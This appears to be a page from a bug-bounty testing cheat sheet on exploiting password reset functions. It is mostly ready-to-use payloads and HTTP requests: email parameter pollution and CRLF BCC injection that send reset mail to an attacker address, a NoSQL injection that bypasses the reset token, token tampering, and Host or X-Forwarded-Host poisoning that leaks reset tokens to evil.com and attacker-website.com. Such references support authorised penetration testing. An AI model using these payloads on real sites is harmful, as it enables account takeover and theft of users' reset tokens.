Password Reset

Reset Password Form Exploit

Email injections

Punnycode

Check Email Registration

Registration Form

CSTI

/forgot-password?email={{7*7}}
CSTI

No Rate Limit on Forgot Password

Email Flooding or mail bombing

Sending Passwords by email

Not recommanded - The security relies on either the generated password expiring after a very short period, or the user changing their password again immediately. Otherwise, this approach is highly susceptible to man-in-the-middle attacks.

Reset password over an URL

http://vulnerable-website.com/reset-password?user=victim-user

Change the username

Account takeover using password reset

GET /passwordreset

# Double parameter
email=victim@xyz.tld&email=hacker@xyz.tld
email=victim@xyz.tld%26email=hacker@xyz.tld
email=victim@xyz.tld;email=hacker@xyz.tld
email[]=victim@xyz.tld&email[]=hacker@xyz.tld
email=victim@xyz.tld,email=hacker@xyz.tld

# Carbon copy
email=victim@xyz.tld%0a%0dcc:hacker@xyz.tld

# Separators
email=victim@xyz.tld,hacker@xyz.tld
email=victim@xyz.tld%20hacker@xyz.tld
email=victim@xyz.tld|hacker@xyz.tld
email=victim@mail.com%00hacker@mail.com

# JSON table
{"email":"victim@xyz.tld","hacker@xyz.tld"}
{"email":["victim@xyz.tld","hacker@xyz.tld"]}

Source: https://x.com/bountywriteups/status/1843358474568421449?t=EAe-IUTLEhIKVjz9YK9cYQ&s=03

NoSQL Injection

NoSQL injection
POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/json; charset=utf-8
User-Agent: ...

{
    "email": "admin@example.com",
    "token": {"$ne": null},
    "newPassword": "hunter2"
}
POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: ...

email=admin@example.com&token[$ne]=null&newPassword=hunter2

Response Manipulation

Replace bad response with good one

Change Request Type

Enter the victim's email and intercept the submit request via Burp Suite . Then right-click on the HTTP Editor inside Burp Suite and select Extensions -> Content-Type Converter -> Convert to JSON (make sure to have the Content-Type Converter plugin installed from the BApp Store)

Now replace this converted JSON line "user[email]":"victim@gmail.com", to

 "user" {
     "email" [
              "victim@gmail.com",
              "attacker@gmail.com"
       ]
 },

CRLF Injection

CRLF Injection
email = 'victim@mail.com%0d%0acc:attacker@mail.com'
/resetpassword?%0d%0aHost:attacker.com
test@example.com%0d%0aBCC:attacker@example.com
test@example.com\r\nBCC:attacker@example.com
test@example.com%0aCC:attacker@example.com
test@example.com%0D%0ABcc:attacker@example.com
test@example.com%%0ABcc:attacker@example.com
test@example.com%0DBcc:attacker@example.com
test@example.com\r\nBcc:attacker@example.com
test@example.com\rBcc:attacker@example.com
test@example.com\nBcc:attacker@example.com

Password reset token does not expire

  1. Create your account on target Site.

  2. Request for a forget password token.

  3. Don't use that link

  4. Instead logged in with your old password and change your email to other.

  5. Now use that password link sents to old email and check if you are able to change your password if yes than there is the litle bug.

Source: https://x.com/bountywriteups/status/1843186551968399632?t=wf0m1BGx--rn6kZWTzB0Tg&s=03

Token Issues

  • Check if the token is reflected back in the response

  • Use another email's token on your victim's reset link

/reset/email=victim@mail.com?token=attacker_token
POST /reset
...
...
email=victim@mail.com&token=$YOUR_TOKEN$
  • Try used tokens

  • Remove the token and check

http://example.com/reset?email=victim@mail.com&token=
  • Change token to 0000

http://example.com/reset?email=victim@mail.com&token=0000000
  • Use nul value

http://example.com/reset?email=victim@mail.com&token=Null/nil
  • Try an array of token

http://example.com/reset?email=victim@mail.com&token=[oldToken1,oldToken2]
  • Massive token - Use a very long token

http://example.com/reset?email=victim@mail.com&token=1000000000000000000000000000000000
  • Change one character (at the beginning or at the end) to see if the token is evaluated

  • Insecure token: MD5($email) or insecure uuid - version 1

Insecure UUID
  • Some websites fail to also validate the token again when the reset form is submitted - Use your own account to request a reset password and alter the POST request

Add json extension

  • Original Request

GET /ResetPassword HTTP/1.1 
{"email":"victim@example.com"}
  • Original Response HTTP/1.1 200 OK

Try adding .json extension

  • Modified Request

GET /ResetPassword.json HTTP/1.1 
{"email":"victim@example.com"}
  • Modified Response

HTTP/1.1 200 OK 
{"success":"true","token":"uuid_value"}

Change Headers

  • Add X-Forwarded-Host: attacker.com

  • Host: Attacker.com

HTTP Header Exploitation

Also known as Reset Poisoning Attack

Method 1

Change Host, Origin or Referrer to hijack email links

POST /forgot-password HTTP 1.1
Host: attacker-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Referer: http://attacker-website.com/malicious-reset-link
Origin: http://attacker-website.com

email=attacker@target.com

Method 2

Modify/Add the header one by one. If the attack is successfull, you will receive a email with a modified reset link: http://attacker-website.com/reset?token=123456789

POST /reset HTTP/1.1
Host: target.com
...

email=victim@mail.com

to

POST /reset HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
...

email=victim@mail.com

And the victim will receive the reset link with evil.com

  • If the victim clicks this link (or it is fetched in some other way, for example, by an antivirus scanner) the password reset token will be delivered to the attacker's server.

  • The attacker can now visit the real URL for the vulnerable website and supply the victim's stolen token via the corresponding parameter. They will then be able to reset the user's password to whatever they like and subsequently log in to their account.

HTML Injection Host Header

POST /forgot-password HTTP 1.1
Host: attacker">.com
...
....

email=victim@target.com

Verb Tampering

Try to change methods

HTTP Verb Tampering

IDOR

1- Ask for reset password link

2- Click on the link and add new password

3- Intercept the request with burpsuite

4- Found parameter called email

5- Replaced my email to victim email

6- Found the password of the victim changed

Could also be an ID - see:

IDOR

CSRF

CSRF

Brute force

Login with a valid user - Alter the POST request

Wrong password

Valid password

Alter and bruteforce

OTP

2FA / OTP

Resources

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Last updated